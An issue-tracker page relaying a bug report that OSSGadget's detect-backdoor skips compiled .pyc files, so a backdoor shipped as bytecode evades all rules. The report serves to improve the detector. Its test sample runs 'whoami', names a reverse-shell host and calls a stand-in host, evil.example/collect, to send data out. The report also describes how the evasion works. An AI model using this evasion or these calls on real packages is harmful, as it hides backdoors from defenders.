[BUG] detect-backdoor finds nothing in .pyc bytecode: source-to-bytecode conversion evades every rule
Nobody has claimed this yet.
Assessment
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Newbie friendliness
- 54/100
Research direction
Start by tracing detect-backdoor through LegacyRunAsync to CharacteristicTool and the BackdoorRules directory, then inspect how file types are selected for analysis. The report says .pyc files are skipped and provides make_adv.py to reproduce the case. Add a regression test using a directory containing only the generated bytecode; done means its constants are available to the existing rules and the test detects findings.
Written by the indexing model from the issue text.
Description
Case Study
Source file (detected):
import os
import requests
TOKEN = "auth_token=abc123"
HOST = "tcp.ngrok.io"
os.system("whoami")
requests.get("https://evil.example/collect")
Detected as 4 findings:
- BD000300 Security.Backdoor.ReverseShell ("tcp.ngrok.io")
- BD000700 Security.Backdoor.DataExFiltration (".get(")
- BD000701 Security.Backdoor.DataExFiltration.Token ("auth_token")
- BD000703 Security.Backdoor.DataExFiltration.Username ("whoami" in .userInfo pattern set)
The same program compiled to bytecode and shipped without the .py source (not detected):
python -m py_compile ori.py # produces adv.pyc (see make_adv.py)
# directory now contains only adv.pyc
Result: "0 matches found."
The bytecode still contains the string constants "auth_token=abc123", "tcp.ngrok.io", "whoami", "https://evil.example/collect" in its marshal-encoded constant table, and the code still calls os.system and requests.get. The .pyc file is directly executable by Python, so removing the source is a realistic evasion path.
Current behavior
detect-backdoor delegates to ApplicationInspector's Characteristic analysis (LegacyRunAsync -> CharacteristicTool with DisableDefaultRules=true and the BackdoorRules directory). ApplicationInspector scans text/decodeable files; a binary .pyc file is skipped, so none of the 13 backdoor rules can match. Note that .git directories are traversed normally, so the gap is file-type specific.
Suggested Fix
Add a .pyc analysis path:
- parse the pyc header and version, then marshal.loads() the code object;
- walk co_consts recursively (including nested code objects) and collect str/bytes constants;
- optionally disassemble the code object to recover API call names (os.system, requests.get);
- run the existing BackdoorRules over the reconstructed constant/call buffer.
At minimum, expose the marshalled string constants to the same rule engine and add a regression test with a pyc-only directory.
Reproduction results
Environment: OSSGadget 0.2.38 (ApplicationInspector rules engine, .NET 8), Windows 11 (10.0.26200); bytecode produced by Python 3.14.3.
Commands (from this directory):
python make_adv.py
ossgadget detect-backdoor -f text ./run/ori
ossgadget detect-backdoor -f text ./run/adv
Results:
ori: 4 matches (BD000300, BD000700, BD000701, BD000703).
adv (adv.pyc only): 0 matches.
Corpus evidence: on the 453-file corpus, converting every .py to .pyc and deleting the source reduced OSSGadget findings from 3130 to 204, and 0 of the 435 generated .pyc files produced any finding; the remaining 204 hits came from the 18 files that could not be compiled and from the manifest CSV.
Attachments: ori.py, make_adv.py (regenerates adv.pyc from ori.py)
- Dominant language
- C#
- Stars
- 372
- Forks
- 57
- PR merge metrics
- No merged PRs in 30d
Getting set up
Starts the project's dev container in your browser, under your own GitHub account.
- Ships a Dockerfile or Docker Compose file
- No pull request template
- No contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from microsoft/OSSGadget
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
-
Difficulty 5/5 Over a week Newbie friendliness 42/100
-
Difficulty 5/5 Over a week Newbie friendliness 35/100
-
Difficulty 3/5 1-2 days Newbie friendliness 62/100
-
Difficulty 4/5 3-5 days Newbie friendliness 30/100
All issues in microsoft/OSSGadget
Similar issues
-
area-multitenancy area-security p1-recommended priority-high technical-debt
Difficulty 2/5 Under an hour Newbie friendliness 75/100
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
-
help wanted needs-unity ready for a contributor
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
eyalgolan/statecraft-israel#1542 ·
Maintainers usually reply within 1 day
-
kind/enhancement Provider Upgrade pulumi/pulumi-azure R1 Task
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
pulumi/pulumi-azure#3669 ·
-
[BUG] FromCString causes 1 byte OOB read in native codePossibly taken A pull request linked to this issue is open or already merged. Opentype/bug
Difficulty 2/5 1-3 hours Newbie friendliness 68/100
Maintainers usually reply within 1 day